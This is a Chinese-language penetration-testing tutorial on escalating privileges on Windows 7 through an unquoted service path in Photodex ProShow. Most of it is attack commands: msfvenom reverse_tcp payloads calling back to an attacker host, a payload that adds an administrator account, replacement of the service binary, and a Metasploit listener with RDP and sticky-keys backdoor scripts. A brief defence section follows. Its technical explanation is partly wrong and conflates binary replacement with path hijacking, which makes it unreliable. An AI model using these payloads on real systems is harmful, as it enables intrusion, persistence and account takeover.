通过Unquoted service Path进行Windows提权
字数 1557 2025-08-29 08:32:24
Windows提权:利用未加引号的服务路径漏洞
漏洞概述
未加引号的服务路径(Unquoted Service Path)是Windows系统中一种常见的权限提升漏洞。当Windows服务的可执行文件路径包含空格且未用引号括起来时,系统会按照特定顺序尝试解析路径,攻击者可以利用这一特性实现权限提升。
漏洞原理
Windows服务在启动时,如果其路径包含空格且未被引号括起来,系统会按照以下顺序尝试解析路径:
- 从路径开头开始,遇到空格就尝试作为完整路径执行
- 如果失败,则继续向后查找下一个空格,再次尝试
- 直到找到正确的可执行文件为止
例如,对于路径 C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe,系统会依次尝试:
C:\Program.exeC:\Program Files\Photodex\ProShow.exeC:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe
如果攻击者能够在其中一个中间位置(如C:\Program Files\)写入恶意文件(如Photodex.exe),当服务重启时,系统会优先执行这个恶意文件而非原始文件。
环境准备
受害者机器
- 操作系统:Windows 7
- 安装有漏洞的应用程序:Photodex ProShow (可从Exploit-DB下载)
攻击者机器
- Kali Linux
漏洞利用步骤
1. 获取初始访问权限
首先需要获取目标系统的meterpreter会话,可以通过各种渗透测试方法实现。
2. 枚举存在漏洞的服务
在获取meterpreter会话后,打开命令shell,执行以下命令枚举可能存在漏洞的服务:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
这条命令会列出:
- 自动启动的服务
- 不在Windows目录下的服务
- 路径未加引号的服务
3. 检查文件权限
找到可疑服务后,检查其所在目录的权限:
icacls "C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe"
如果发现"Everyone"或当前用户有写入权限,则存在利用可能。
4. 生成恶意payload
在Kali Linux上使用msfvenom生成恶意可执行文件:
方法一:使用Prepend-migrate保持会话
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=1234 PrependMigrate=true PrependMigrateProcess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe
参数说明:
PrependMigrate=true:如果当前进程被杀,payload会迁移到其他进程PrependMigrateProcess=explorer.exe:指定迁移目标进程为explorer.exe
方法二:添加用户到管理员组
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe > /root/Desktop/scsiaccess.exe
方法三:启用RDP和粘滞键后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=1234 -f exe > /root/Desktop/scsiaccess.exe
5. 替换原始文件
在meterpreter会话中执行:
move scsiaccess.exe scsiaccess.exe.original
upload /root/Desktop/scsiaccess.exe
6. 设置监听器
在Kali上启动multi/handler监听器:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.107
set LPORT 1234
根据需求选择附加功能:
启用RDP功能
set AutoRunScript post/windows/manage/enable_rdp
启用粘滞键后门
set AutoRunScript post/windows/manage/sticky_keys
然后执行:
exploit
7. 触发漏洞
重启目标机器或重启服务,系统会加载恶意文件。
8. 获取权限
- 对于方法一:直接获得meterpreter会话的管理权限
- 对于方法二:用户"raaz"将被添加到管理员组
- 对于方法三:可以通过RDP连接(使用mstsc)或连续按5次Shift键触发粘滞键后门
防御措施
- 正确引用服务路径:在服务配置中,确保所有包含空格的可执行路径都用引号括起来
- 最小权限原则:限制对程序目录的写入权限,特别是系统关键目录
- 定期审计:使用工具扫描系统中的未加引号服务路径
- 使用安全产品:部署能够检测和阻止此类攻击的安全解决方案
总结
未加引号的服务路径漏洞是一种常见的Windows权限提升技术,利用系统解析可执行文件路径的方式实现权限提升。防御此类攻击的关键在于正确的服务配置和严格的权限控制。系统管理员应定期检查服务配置,确保所有包含空格的服务路径都被正确引用。